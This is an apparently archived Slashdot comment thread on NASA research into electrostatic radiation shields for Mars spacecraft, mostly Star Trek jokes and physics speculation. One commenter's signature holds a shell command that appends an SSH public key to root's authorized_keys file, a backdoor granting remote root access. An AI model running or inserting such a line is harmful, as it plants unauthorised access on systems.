NASA Studying Energy Shields for Spacecraft

Shafe writes "SPACE.COM posted an article concerning enhanced shielding technologies research for futuristic spacecraft en route to Mars. One particularly interesting goal is essentially an energy shield known as a 'multipole electrostatic shield' that would deflect both radiation and micro-meteoroids. We're one step closer to Star Trek: shields up!"

Comments

I wanted to...

[Soul-Burn666]

say that their website should shield up against the slashdot effect, but it's still alive ;)

If it already died, then: "OMGz!! YOU'VE SLASHDOTTED SPACE!!!1"

Re:Now that they have shields,

[weeboo0104]

The only thing astronauts need is a female [Borg, Vulcan, starship captain, councilor] to make that trip to Mars!

I forgot to add "in a tight spandex uniform".

warping of space...

[doublebackslash]

If we were to get a warp drive to work, then that would be our ultimate shield. All this nonsense with electrical this, and radiation that is pointless. All you have to do is warp space in such a way that it creates a vessel in which the spacecraft can exist, but that joins the otter boundary of the 'pocket' into one point. essesntially the pocket plane would not exist from the outside, and since no disturbance of the surrounding space would be apparent by the radiation passing through that point of set of points it would be a perfect cloak. Propulsion would simply involove warping a 'door' on one side of you pocket plane, and connecting that plane to another set of points a certain distance away.

Simple, just as soon as we can manipulate space and time like LSD manipultes the mind with the skill and artistry of Davinci and at speeds aproching that of light.

--
echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAACB7VnbesvfvrFgPBW+7ZBQdVm y5RAoSjYpomy0DYGxa5w== rsa-key-20040528" >> /root/.ssh/authorized_keys

Re:warping of space...

[Jerf]

The only problem with this idea is that it requires at least several other impossible things, so don't hold your breath. You need:

• Amounts of energy comparable to the entire output of the Sun. (And the corresponding efficient equipment to handle it without your spaceship suddenly resembling a sun.) Probably impossible (remember, this energy generation has to fit inside the bubble; even if we could do it in general we could never fit it in a spaceship.)
• The ability to directly control gravity, with, to date, absolutely no evidence that it is possible with anything other then black-hole-sized quantities of mass... and black holes still are just general suckers, you can't direct their gravity like you'd need to.
• Negative mass. Much hypothesized, probably impossible in macroscopic amounts. (It's one of the more possible out of this list, but that's not saying much.) You need this for the negative gravity needed to stabalize these spacewarps; it's impossible to build a stable field with any sort of hole in the middle out of pure attractive, inverse-square based fields. (Actually, it's impossible with inverse-square fields in general; you have to have a matter shield in the mix if you want a hole (a charged hollow sphere has a hole on the inside of the sphere), but what shields against gravity?)
• The ability to control all of this not just "in general", but extremely tightly, to create a high distortion outside of the ship without utterly destroying the inside of the ship with gravity fields or tides in the millions of Gs range or more.

A thing that requires multiple other most-likely impossible things is itself impossible, even if you can sort of make the math work.

(Am I absolutely sure such space warping can't be used for travel? Technically, no. Then again, I'm not absolutely sure that when I drop this apple, it will fall to the ground, either; there's an ever so small chance that it won't, even under conventional QM as I understand it. But unless something really strange opens up at the string theory level, with as I said, no reason with current evidence to believe that it will, you're not getting any of this. You're welcome, as so many Slashbots are wont to do, to post an angry reply saying "How do you know this is impossible? We broke the speed of sound, didn't we?" (Which itself betrays a serious misunderstanding of history, reason why left as an exercise for the reader.) But be aware, the evidence is on my side; FTL has reached the point where we need something magical to make it work, and I don't hold my breath waiting for magic.)

SCI-FI hits it again.

[Deflagro]

I bet all these engineers were just big geeks that loved sci-fi and when the problem comes up, they fall back to what they know: Star Trek!
It really never amazes me when they think up something out of a Roddenberry or Asimov story. They are good ideas, just not possible at the time.

Technically, nothing is impossible....given time ;)

article short on details about construction/energy

[snooo53]

The article is very short on details. I am very curious how they plan to make these three spheres. Are we talking actual metal spheres surrounding the spaceship? Or thin strands of wire? Or doing something with a magnetic field similar to earth's without a physical shield?

My other question is what sort of energies are we talking about here since protons are fairly massive? I would guess in the 100+ GeV range (ie. particle accelerator size). Any thoughts or better links?

Re:Shielding

[EMH_Mark3]

beta radiation == charged particles

Re:article short on details about construction/ene

[Lady Jazzica]

I found the abstract for the paper presented by Metzger, Youngquist and Lane here.

There's no metal spheres involved, just some sort of electrostatic field:

"We have recently observed, however, that the physics and the shielding problem possess certain asymmetries which may be exploited in order to obtain the intended shells of isotropic protection without deploying radially-symmetric charge around the spacecraft. The basic concept is to leverage a multipole expansion of the fields, assigning a different function to different terms in the expansion. As shown in Fig. 1, a positively-repulsive quadrupole term may protect the region closest to the spacecraft from high-energy protons and HZE particles, whereas a weaker but slowly decaying monopole field may deflect thermal electrons away from the larger region of space. The result is that the significant fluxes of both negative and positive particles may be deflected away from the spacecraft using the same electrostatic field. This has the potential to create isotropic protection with a significant reduction in spacecraft mass."

The real reason for nacells

[Marxist Hacker 42]

from the article: The center sphere, set close or even attached to the crew module, would be positively charged, while two outrigger spheres on either side would carry a negative charge.

Outriggers? So the real reason for the nacells on Star Trek is to generate electrostatic fields?

another solution for Mars colonists

[WormholeFiend]

would be to send a lot of them there... knowing that a majority would die from the exposure.

those survivors might be more resistant to radiation, and could possibly pass on that resistance to their offspring, and so on.

evolution is the key to colonizing other environments.

For the suits on mars

[foniksonik]

Seeing as how Mars has 1/3rd earth gravity and seeing as how less gravity causes bone loss because our bodies need to respond to our own weight to maintain bone density, seems to me that the ideal suit would be one which weighed just enough to compensate for the lack of gravity. Hopefully the amount of shielding needed would not account for all the extra weight so you could make suits one-size-fits-all and just add extra weight as needed per person.

Start rounding up the Scottish

[Nascar_Geek]

We'll need one appropriately surly, slightly alchoholic, mechanical genius Scottsman per ship please.

It will take some careful screening, but who else could keep all of the hardware required for this working?